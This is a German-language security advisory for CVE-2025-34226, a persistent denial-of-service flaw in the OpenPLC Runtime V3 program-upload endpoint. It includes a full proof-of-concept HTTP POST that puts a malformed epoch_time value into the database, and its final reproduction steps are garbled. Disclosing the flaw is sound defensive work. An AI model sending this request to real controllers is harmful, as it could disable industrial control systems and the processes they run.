
OpenPLC Runtime leidet unter einer persistenten Denial-of-Service-Schwachstelle (DoS) im /upload-program-action-Endpunkt.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2025-34226 |
| Betrifft | OpenPLC Runtime V3 |
| Behoben in | (Commit) 095ee09623dd229b64ad3a1db38a901a3772f6fc |
| Schweregrad | Hoch |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (Hoch) |
| CWE | CWE-664 Improper Control of a Resource Through Its Lifetime, CWE-20 Improper Input Validation |
OpenPLC Runtime leidet unter einer anhaltenden Denial-of-Service-Schwachstelle (DoS) im Endpunkt /upload-program-action.
Durch das Ändern des Parameters epoch_time während des Programm-Uploads kann ein authentifizierter Benutzer mit geringen Rechten die Backend-Datenbank beschädigen.
Diese Beschädigung deaktiviert zunächst kritische Seiten und verhindert schließlich den Start der gesamten Runtime, wodurch die Anwendung effektiv unbrauchbar wird, bis sie neu installiert wird.
Der Endpunkt /upload-program-action akzeptiert ein Feld epoch_time, das ohne Validierung direkt in die Datenbank geschrieben wird.
Wenn dieses Feld auf einen manipulierten oder unsinnigen Wert gesetzt wird (z. B. 1758627838 oder fehlerhafte Daten), speichert OpenPLC einen inkonsistenten Zustand.
Beim Neuladen oder Neustart der Runtime fragt die Anwendung die beschädigte Zeile ab und stößt auf ein NoneType-Objekt → schwerwiegender Absturz (TypeError: 'NoneType' object is not subscriptable).
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]
------BOUNDARY
Content-Disposition: form-data; name="prog_name"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain
PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"
"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--
/programs hochepoch_time und ändern Sie ihn, indem Sie ein zufälliges Zeichen wie „L“ anstelle der ursprünglichen epoch_time verwenden/programs und Sie werden sehen, dass es nicht mehr funktioniertEntdeckt von: Eyodav